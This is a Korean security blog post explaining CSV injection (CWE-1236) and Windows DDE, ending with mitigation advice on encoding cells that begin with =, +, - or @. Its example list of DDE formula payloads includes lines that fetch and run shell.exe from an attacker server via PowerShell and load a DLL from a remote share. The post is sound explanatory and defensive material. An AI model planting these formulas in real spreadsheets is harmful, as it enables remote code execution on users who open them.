본문 바로가기
tmp

DDE(Dynamic Data Exchange)와 CSV Injection

by m_.9m 2023. 2. 7.

1. CSV injection

CSV injection은 CWE-1236에 Improper Neutralization of Formula Elements in a CSV File로 기록되어 있는 취약점이다. 사용자가 제공한 정보를 CSV 파일에 저장하지만 스프레드 시트에서(대다수) 파일을 열때 명령으로 해석될 수 있는 구문을 적절히 필터링하지 않아 발생한다. 서비스의 도메인에서 웹 페이지, API를 통해 CSV 파일을 다운로드하는 기능이 있다면 점검 포인트가 된다. 이 중 사용자의 입력값을 통해 CSV를 수정할 수 있다면 공격 포인트로 볼 수 있다.

 

 

2. DDE의 개념

문서를 작성할 때 사용하는 대표적인 프로그램으로  MS word. Excel 등이 있는데 이런 문서 파일엔 매크로 기능이나 'JS', 'Java' 등을 사용할 수 있는 기능이 존재해 파일 내 악성 코드를 심어 유포할 수 있다. 원문

 

DDE(Dynamic Data Exchange)는 사용자의 편의를 위해 Windows 운영체제에서 응용 프로그램 데이터간 전송을 위해 사용된다. 윈도우 응용 프로그램간의 동일한 데이터를 공유하도록 허용하는 방법이다. 

 

 

예를 들어 DDE 명령어를 사용하는 아래의 예시가 있다. 

DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

 출처  | https://github.com/payloadbox/csv-injection-payloads

 

 

3. 대책

다른 곳에서 생성된 CSV 파일을 수집해야할 경우 파일 콘텐츠의 유효성을 검사하고 인코딩한다. 모든 셀을 인코딩하는 것을 권장하며, 또는 주요 특수문자(=,+,-,@)로 시작하는 셀을 인코딩한다. 이로써 데이터는 응용 프로그램에서 해석이 가능하지만 어떤 셀도 수식으로 해석되지 않는다.

 


함꼐 보면 좋은 글

https://www.hahwul.com/cullinan/csv-injection/

https://www.igloo.co.kr/security-information/ddedynamic-data-exchange/

'tmp' 카테고리의 다른 글

[WP plug-in] 플러그인 만들기 (1-2)  (0) 2023.02.27
Prototype Pollution  (0) 2023.02.08
[AI] 기초 개념 학습 #2(강화 학습)  (0) 2023.01.31
[AI] 기초 개념 학습 #1(ML 종류)  (0) 2023.01.30
YAML  (0) 2023.01.28